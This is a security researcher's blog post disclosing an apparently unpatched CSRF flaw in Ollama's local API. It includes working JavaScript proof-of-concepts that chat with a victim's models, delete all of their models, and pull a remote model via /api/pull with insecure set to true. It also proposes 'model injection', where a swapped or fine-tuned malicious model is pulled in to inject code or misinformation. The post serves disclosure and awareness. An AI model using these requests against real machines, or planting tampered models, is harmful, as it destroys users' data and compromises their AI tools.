oh-llama: How I Hacked Ollama Using Basic CSRF
16/07/2025

Note: This vulnerability is unpatched. I have tried to get into contact with the ollama team to get this issue resolved but to no avail. I am now publishing this post to raise awareness about the issue. Also, no hate to the ollama team. Ollama is a super cool project and I am 100% certain that they are trying their best. I'm just publishing this to make sure that they actually know about it so that they can get it fixed.
Here we go again
omg can ai just stop being vulnerable to this pls?? its gonna be the death of me. Well basically I was just goofing around with ollama trying to turn it into an AI gf for a certain friend who is down bad (i dont have a gf anymore either... find my contact info below..). I found the API functionality really cool since it makes it useful for automation and stuff. However, I quickly found that it was literally vulnerable to CSRF (like I didn't even need to do DNS rebinding or anything...) I also ended up coming up with what I think might be a new sort of LLM vulnerability similar to prompt injection.
This is probably gonna be the shortest post I've ever written lol. That's just it. You can access the internal ollama API just using fetch()
requests. Like, no goofy image shenanigans or anything like that.
Here's an AI chat app that "exploits" the vulnerability:
The Impact
This is what makes this a bit unique, since it seems to have very specific impact. You can chat with the AI remotely (which could result in DoS), delete models (another DoS), pull remote models (more on this later. it gets interesting...), etc.
PoC or GTFO
ok ok ok I hear you. Y'all want some PoC's. I got some.
Here's an AI chat app that shouldn't work but does:
Relevant JS
document.getElementById('msg').value = '';
fetch('http://localhost:11434/api/chat', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
model: "deepseek-r1:14b",
messages: [{ role: "user", content: msg }]
})
})
.then(r => r.text())
.then(data => {
// Parse streaming JSONL and extract assistant content
let response = '';
data.split(/\r?\n/).forEach(line => {
if (line.trim()) {
try {
const obj = JSON.parse(line);
if (obj.message && obj.message.content) {
response += obj.message.content;
}
} catch (e) {}
}
});
log.innerHTML += `<div>AI: ${response}</div>`;
});
Boring, huh? Well here's a PoC to delete all of your models (credit where credit is due, thanks ChatGPT):
Relevant JS
[code to get tags here. you get the point]
...
document.getElementById('delete-all').onclick = async function() {
this.disabled = true;
this.textContent = 'Deleting All...';
const res = await fetch('http://localhost:11434/api/tags');
if (!res.ok) {
this.disabled = false;
this.textContent = 'Delete All Models';
return;
}
const data = await res.json();
if (data.models && Array.isArray(data.models)) {
for (const model of data.models) {
await fetch('http://localhost:11434/api/delete', {
method: 'DELETE',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ name: model.name })
});
}
}
fetchModels();
this.disabled = false;
this.textContent = 'Delete All Models';
};
The last one is a bit harder to replicate, but it's well worth it. You have 2 options here: one is to self-host your own malicious OCI registry and push your ollama models there, or just test it using huggingface's registry. I went with the latter since it was easier.
The principle behind it is that it's a variant of prompt injection, but instead of using a malicious prompt, you use a model that is fine-tuned to do malicious things like inject malicious code (Eg. If you're using ollama with some AI coder), spread misinformation, etc. Basically twitter in an LLM. I call it "model injection".
Okay so, let's just go over the steps:
- Pull out your malicious registry with your malicious model
- Use the CSRF to pull the model
- Do steps 1 and 2 if you haven't already done them
That simple.
Unfortunately, I do not have the time nor the resources to fine tune my own AI model. Feel free to send me yours though :P. For my testing, I used tiny pirate as my malicious model. I cloned both that and llama3.2 locally. I then went into the ollama models folder and took the file named latest
in the llama3.2 folder and replaced the the tiny-pirate's latest
file with it. Now we have a model called tiny pirate that is actually llama3.2. We can check this by running it and verifying that it doesn't talk like that one friend. After this, I just made a small script to make the HTTP request:
$response = Invoke-WebRequest -Method Post -Uri 'http://localhost:11434/api/pull' -Body '{"model":"hf.co/RichardErkhov/phanerozoic_-_Tiny-Pirate-1.1b-v0.1-gguf","insecure":true}' -ContentType 'application/json'
$decoded = [System.Text.Encoding]::UTF8.GetString($response.RawContentStream.ToArray())
Write-Output $decoded
Yes, I know I coded it in the programming language known as microsoft
but my loonix laptop got fried.
Click here for the full web version of the PoC.
and here is a video:
For spear phishing attempts, business inquiries, love letters, etc: or